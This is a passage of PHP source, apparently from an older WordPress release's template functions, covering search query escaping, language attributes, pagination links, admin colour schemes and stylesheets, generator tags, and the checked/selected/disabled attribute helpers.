1820/**
1821 * Retrieve the contents of the search WordPress query variable.
1822 *
1823 * The search query string is passed through {@link esc_attr()}
1824 * to ensure that it is safe for placing in an html attribute.
1825 *
1826 * @since 2.3.0
1827 * @uses esc_attr()
1828 *
1829 * @param bool $escaped Whether the result is escaped. Default true.
1830 * Only use when you are later escaping it. Do not use unescaped.
1831 * @return string
1832 */
1833function get_search_query( $escaped = true ) {
1834 $query = apply_filters( 'get_search_query', get_query_var( 's' ) );
1835 if ( $escaped )
1836 $query = esc_attr( $query );
1837 return $query;
1838}
1839
1840/**
1841 * Display the contents of the search query variable.
1842 *
1843 * The search query string is passed through {@link esc_attr()}
1844 * to ensure that it is safe for placing in an html attribute.
1845 *
1846 * @uses esc_attr()
1847 * @since 2.1.0
1848 */
1849function the_search_query() {
1850 echo esc_attr( apply_filters( 'the_search_query', get_search_query( false ) ) );
1851}
1852
1853/**
1854 * Display the language attributes for the html tag.
1855 *
1856 * Builds up a set of html attributes containing the text direction and language
1857 * information for the page.
1858 *
1859 * @since 2.1.0
1860 *
1861 * @param string $doctype The type of html document (xhtml|html).
1862 */
1863function language_attributes($doctype = 'html') {
1864 $attributes = array();
1865 $output = '';
1866
1867 if ( function_exists( 'is_rtl' ) && is_rtl() )
1868 $attributes[] = 'dir="rtl"';
1869
1870 if ( $lang = get_bloginfo('language') ) {
1871 if ( get_option('html_type') == 'text/html' || $doctype == 'html' )
1872 $attributes[] = "lang=\"$lang\"";
1873
1874 if ( get_option('html_type') != 'text/html' || $doctype == 'xhtml' )
1875 $attributes[] = "xml:lang=\"$lang\"";
1876 }
1877
1878 $output = implode(' ', $attributes);
1879 $output = apply_filters('language_attributes', $output);
1880 echo $output;
1881}
1882
1883/**
1884 * Retrieve paginated link for archive post pages.
1885 *
1886 * Technically, the function can be used to create paginated link list for any
1887 * area. The 'base' argument is used to reference the url, which will be used to
1888 * create the paginated links. The 'format' argument is then used for replacing
1889 * the page number. It is however, most likely and by default, to be used on the
1890 * archive post pages.
1891 *
1892 * The 'type' argument controls format of the returned value. The default is
1893 * 'plain', which is just a string with the links separated by a newline
1894 * character. The other possible values are either 'array' or 'list'. The
1895 * 'array' value will return an array of the paginated link list to offer full
1896 * control of display. The 'list' value will place all of the paginated links in
1897 * an unordered HTML list.
1898 *
1899 * The 'total' argument is the total amount of pages and is an integer. The
1900 * 'current' argument is the current page number and is also an integer.
1901 *
1902 * An example of the 'base' argument is "http://example.com/all_posts.php%_%"
1903 * and the '%_%' is required. The '%_%' will be replaced by the contents of in
1904 * the 'format' argument. An example for the 'format' argument is "?page=%#%"
1905 * and the '%#%' is also required. The '%#%' will be replaced with the page
1906 * number.
1907 *
1908 * You can include the previous and next links in the list by setting the
1909 * 'prev_next' argument to true, which it is by default. You can set the
1910 * previous text, by using the 'prev_text' argument. You can set the next text
1911 * by setting the 'next_text' argument.
1912 *
1913 * If the 'show_all' argument is set to true, then it will show all of the pages
1914 * instead of a short list of the pages near the current page. By default, the
1915 * 'show_all' is set to false and controlled by the 'end_size' and 'mid_size'
1916 * arguments. The 'end_size' argument is how many numbers on either the start
1917 * and the end list edges, by default is 1. The 'mid_size' argument is how many
1918 * numbers to either side of current page, but not including current page.
1919 *
1920 * It is possible to add query vars to the link by using the 'add_args' argument
1921 * and see {@link add_query_arg()} for more information.
1922 *
1923 * @since 2.1.0
1924 *
1925 * @param string|array $args Optional. Override defaults.
1926 * @return array|string String of page links or array of page links.
1927 */
1928function paginate_links( $args = '' ) {
1929 $defaults = array(
1930 'base' => '%_%', // http://example.com/all_posts.php%_% : %_% is replaced by format (below)
1931 'format' => '?page=%#%', // ?page=%#% : %#% is replaced by the page number
1932 'total' => 1,
1933 'current' => 0,
1934 'show_all' => false,
1935 'prev_next' => true,
1936 'prev_text' => __('« Previous'),
1937 'next_text' => __('Next »'),
1938 'end_size' => 1,
1939 'mid_size' => 2,
1940 'type' => 'plain',
1941 'add_args' => false, // array of query args to add
1942 'add_fragment' => ''
1943 );
1944
1945 $args = wp_parse_args( $args, $defaults );
1946 extract($args, EXTR_SKIP);
1947
1948 // Who knows what else people pass in $args
1949 $total = (int) $total;
1950 if ( $total < 2 )
1951 return;
1952 $current = (int) $current;
1953 $end_size = 0 < (int) $end_size ? (int) $end_size : 1; // Out of bounds? Make it the default.
1954 $mid_size = 0 <= (int) $mid_size ? (int) $mid_size : 2;
1955 $add_args = is_array($add_args) ? $add_args : false;
1956 $r = '';
1957 $page_links = array();
1958 $n = 0;
1959 $dots = false;
1960
1961 if ( $prev_next && $current && 1 < $current ) :
1962 $link = str_replace('%_%', 2 == $current ? '' : $format, $base);
1963 $link = str_replace('%#%', $current - 1, $link);
1964 if ( $add_args )
1965 $link = add_query_arg( $add_args, $link );
1966 $link .= $add_fragment;
1967 $page_links[] = '<a class="prev page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $prev_text . '</a>';
1968 endif;
1969 for ( $n = 1; $n <= $total; $n++ ) :
1970 $n_display = number_format_i18n($n);
1971 if ( $n == $current ) :
1972 $page_links[] = "<span class='page-numbers current'>$n_display</span>";
1973 $dots = true;
1974 else :
1975 if ( $show_all || ( $n <= $end_size || ( $current && $n >= $current - $mid_size && $n <= $current + $mid_size ) || $n > $total - $end_size ) ) :
1976 $link = str_replace('%_%', 1 == $n ? '' : $format, $base);
1977 $link = str_replace('%#%', $n, $link);
1978 if ( $add_args )
1979 $link = add_query_arg( $add_args, $link );
1980 $link .= $add_fragment;
1981 $page_links[] = "<a class='page-numbers' href='" . esc_url( apply_filters( 'paginate_links', $link ) ) . "'>$n_display</a>";
1982 $dots = true;
1983 elseif ( $dots && !$show_all ) :
1984 $page_links[] = '<span class="page-numbers dots">' . __( '…' ) . '</span>';
1985 $dots = false;
1986 endif;
1987 endif;
1988 endfor;
1989 if ( $prev_next && $current && ( $current < $total || -1 == $total ) ) :
1990 $link = str_replace('%_%', $format, $base);
1991 $link = str_replace('%#%', $current + 1, $link);
1992 if ( $add_args )
1993 $link = add_query_arg( $add_args, $link );
1994 $link .= $add_fragment;
1995 $page_links[] = '<a class="next page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $next_text . '</a>';
1996 endif;
1997 switch ( $type ) :
1998 case 'array' :
1999 return $page_links;
2000 break;
2001 case 'list' :
2002 $r .= "<ul class='page-numbers'>\n\t<li>";
2003 $r .= join("</li>\n\t<li>", $page_links);
2004 $r .= "</li>\n</ul>\n";
2005 break;
2006 default :
2007 $r = join("\n", $page_links);
2008 break;
2009 endswitch;
2010 return $r;
2011}
2012
2013/**
2014 * Registers an admin colour scheme css file.
2015 *
2016 * Allows a plugin to register a new admin colour scheme. For example:
2017 * <code>
2018 * wp_admin_css_color('classic', __('Classic'), admin_url("css/colors-classic.css"),
2019 * array('#07273E', '#14568A', '#D54E21', '#2683AE'));
2020 * </code>
2021 *
2022 * @since 2.5.0
2023 *
2024 * @param string $key The unique key for this theme.
2025 * @param string $name The name of the theme.
2026 * @param string $url The url of the css file containing the colour scheme.
2027 * @param array $colors Optional An array of CSS color definitions which are used to give the user a feel for the theme.
2028 */
2029function wp_admin_css_color($key, $name, $url, $colors = array()) {
2030 global $_wp_admin_css_colors;
2031
2032 if ( !isset($_wp_admin_css_colors) )
2033 $_wp_admin_css_colors = array();
2034
2035 $_wp_admin_css_colors[$key] = (object) array('name' => $name, 'url' => $url, 'colors' => $colors);
2036}
2037
2038/**
2039 * Registers the default Admin color schemes
2040 *
2041 * @since 3.0.0
2042 */
2043function register_admin_color_schemes() {
2044 wp_admin_css_color( 'classic', _x( 'Blue', 'admin color scheme' ), admin_url( 'css/colors-classic.min.css' ),
2045 array( '#5589aa', '#cfdfe9', '#d1e5ee', '#eff8ff' ) );
2046 wp_admin_css_color( 'fresh', _x( 'Gray', 'admin color scheme' ), admin_url( 'css/colors-fresh.min.css' ),
2047 array( '#555', '#a0a0a0', '#ccc', '#f1f1f1' ) );
2048}
2049
2050/**
2051 * Display the URL of a WordPress admin CSS file.
2052 *
2053 * @see WP_Styles::_css_href and its style_loader_src filter.
2054 *
2055 * @since 2.3.0
2056 *
2057 * @param string $file file relative to wp-admin/ without its ".css" extension.
2058 */
2059function wp_admin_css_uri( $file = 'wp-admin' ) {
2060 if ( defined('WP_INSTALLING') ) {
2061 $_file = "./$file.css";
2062 } else {
2063 $_file = admin_url("$file.css");
2064 }
2065 $_file = add_query_arg( 'version', get_bloginfo( 'version' ), $_file );
2066
2067 return apply_filters( 'wp_admin_css_uri', $_file, $file );
2068}
2069
2070/**
2071 * Enqueues or directly prints a stylesheet link to the specified CSS file.
2072 *
2073 * "Intelligently" decides to enqueue or to print the CSS file. If the
2074 * 'wp_print_styles' action has *not* yet been called, the CSS file will be
2075 * enqueued. If the wp_print_styles action *has* been called, the CSS link will
2076 * be printed. Printing may be forced by passing true as the $force_echo
2077 * (second) parameter.
2078 *
2079 * For backward compatibility with WordPress 2.3 calling method: If the $file
2080 * (first) parameter does not correspond to a registered CSS file, we assume
2081 * $file is a file relative to wp-admin/ without its ".css" extension. A
2082 * stylesheet link to that generated URL is printed.
2083 *
2084 * @package WordPress
2085 * @since 2.3.0
2086 * @uses $wp_styles WordPress Styles Object
2087 *
2088 * @param string $file Optional. Style handle name or file name (without ".css" extension) relative
2089 * to wp-admin/. Defaults to 'wp-admin'.
2090 * @param bool $force_echo Optional. Force the stylesheet link to be printed rather than enqueued.
2091 */
2092function wp_admin_css( $file = 'wp-admin', $force_echo = false ) {
2093 global $wp_styles;
2094 if ( !is_a($wp_styles, 'WP_Styles') )
2095 $wp_styles = new WP_Styles();
2096
2097 // For backward compatibility
2098 $handle = 0 === strpos( $file, 'css/' ) ? substr( $file, 4 ) : $file;
2099
2100 if ( $wp_styles->query( $handle ) ) {
2101 if ( $force_echo || did_action( 'wp_print_styles' ) ) // we already printed the style queue. Print this one immediately
2102 wp_print_styles( $handle );
2103 else // Add to style queue
2104 wp_enqueue_style( $handle );
2105 return;
2106 }
2107
2108 echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( $file ) ) . "' type='text/css' />\n", $file );
2109 if ( function_exists( 'is_rtl' ) && is_rtl() )
2110 echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( "$file-rtl" ) ) . "' type='text/css' />\n", "$file-rtl" );
2111}
2112
2113/**
2114 * Enqueues the default ThickBox js and css.
2115 *
2116 * If any of the settings need to be changed, this can be done with another js
2117 * file similar to media-upload.js. That file should
2118 * require array('thickbox') to ensure it is loaded after.
2119 *
2120 * @since 2.5.0
2121 */
2122function add_thickbox() {
2123 wp_enqueue_script( 'thickbox' );
2124 wp_enqueue_style( 'thickbox' );
2125
2126 if ( is_network_admin() )
2127 add_action( 'admin_head', '_thickbox_path_admin_subfolder' );
2128}
2129
2130/**
2131 * Display the XHTML generator that is generated on the wp_head hook.
2132 *
2133 * @since 2.5.0
2134 */
2135function wp_generator() {
2136 the_generator( apply_filters( 'wp_generator_type', 'xhtml' ) );
2137}
2138
2139/**
2140 * Display the generator XML or Comment for RSS, ATOM, etc.
2141 *
2142 * Returns the correct generator type for the requested output format. Allows
2143 * for a plugin to filter generators overall the the_generator filter.
2144 *
2145 * @since 2.5.0
2146 * @uses apply_filters() Calls 'the_generator' hook.
2147 *
2148 * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export).
2149 */
2150function the_generator( $type ) {
2151 echo apply_filters('the_generator', get_the_generator($type), $type) . "\n";
2152}
2153
2154/**
2155 * Creates the generator XML or Comment for RSS, ATOM, etc.
2156 *
2157 * Returns the correct generator type for the requested output format. Allows
2158 * for a plugin to filter generators on an individual basis using the
2159 * 'get_the_generator_{$type}' filter.
2160 *
2161 * @since 2.5.0
2162 * @uses apply_filters() Calls 'get_the_generator_$type' hook.
2163 *
2164 * @param string $type The type of generator to return - (html|xhtml|atom|rss2|rdf|comment|export).
2165 * @return string The HTML content for the generator.
2166 */
2167function get_the_generator( $type = '' ) {
2168 if ( empty( $type ) ) {
2169
2170 $current_filter = current_filter();
2171 if ( empty( $current_filter ) )
2172 return;
2173
2174 switch ( $current_filter ) {
2175 case 'rss2_head' :
2176 case 'commentsrss2_head' :
2177 $type = 'rss2';
2178 break;
2179 case 'rss_head' :
2180 case 'opml_head' :
2181 $type = 'comment';
2182 break;
2183 case 'rdf_header' :
2184 $type = 'rdf';
2185 break;
2186 case 'atom_head' :
2187 case 'comments_atom_head' :
2188 case 'app_head' :
2189 $type = 'atom';
2190 break;
2191 }
2192 }
2193
2194 switch ( $type ) {
2195 case 'html':
2196 $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '">';
2197 break;
2198 case 'xhtml':
2199 $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '" />';
2200 break;
2201 case 'atom':
2202 $gen = '<generator uri="http://wordpress.org/" version="' . get_bloginfo_rss( 'version' ) . '">WordPress</generator>';
2203 break;
2204 case 'rss2':
2205 $gen = '<generator>http://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '</generator>';
2206 break;
2207 case 'rdf':
2208 $gen = '<admin:generatorAgent rdf:resource="http://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '" />';
2209 break;
2210 case 'comment':
2211 $gen = '<!-- generator="WordPress/' . get_bloginfo( 'version' ) . '" -->';
2212 break;
2213 case 'export':
2214 $gen = '<!-- generator="WordPress/' . get_bloginfo_rss('version') . '" created="'. date('Y-m-d H:i') . '" -->';
2215 break;
2216 }
2217 return apply_filters( "get_the_generator_{$type}", $gen, $type );
2218}
2219
2220/**
2221 * Outputs the html checked attribute.
2222 *
2223 * Compares the first two arguments and if identical marks as checked
2224 *
2225 * @since 1.0.0
2226 *
2227 * @param mixed $checked One of the values to compare
2228 * @param mixed $current (true) The other value to compare if not just true
2229 * @param bool $echo Whether to echo or just return the string
2230 * @return string html attribute or empty string
2231 */
2232function checked( $checked, $current = true, $echo = true ) {
2233 return __checked_selected_helper( $checked, $current, $echo, 'checked' );
2234}
2235
2236/**
2237 * Outputs the html selected attribute.
2238 *
2239 * Compares the first two arguments and if identical marks as selected
2240 *
2241 * @since 1.0.0
2242 *
2243 * @param mixed $selected One of the values to compare
2244 * @param mixed $current (true) The other value to compare if not just true
2245 * @param bool $echo Whether to echo or just return the string
2246 * @return string html attribute or empty string
2247 */
2248function selected( $selected, $current = true, $echo = true ) {
2249 return __checked_selected_helper( $selected, $current, $echo, 'selected' );
2250}
2251
2252/**
2253 * Outputs the html disabled attribute.
2254 *
2255 * Compares the first two arguments and if identical marks as disabled
2256 *
2257 * @since 3.0.0
2258 *
2259 * @param mixed $disabled One of the values to compare
2260 * @param mixed $current (true) The other value to compare if not just true
2261 * @param bool $echo Whether to echo or just return the string
2262 * @return string html attribute or empty string
2263 */
2264function disabled( $disabled, $current = true, $echo = true ) {
2265 return __checked_selected_helper( $disabled, $current, $echo, 'disabled' );
2266}
2267
2268/**
2269 * Private helper function for checked, selected, and disabled.
2270 *
2271 * Compares the first two arguments and if identical marks as $type
2272 *
2273 * @since 2.8.0
2274 * @access private
2275 *
2276 * @param mixed $helper One of the values to compare
2277 * @param mixed $current (true) The other value to compare if not just true
2278 * @param bool $echo Whether to echo or just return the string
2279 * @param string $type The type of checked|selected|disabled we are doing
2280 * @return string html attribute or empty string
2281 */
2282function __checked_selected_helper( $helper, $current, $echo, $type ) {
2283 if ( (string) $helper === (string) $current )
2284 $result = " $type='$type'";
2285 else
2286 $result = '';
2287
2288 if ( $echo )
2289 echo $result;
2290
2291 return $result;
2292}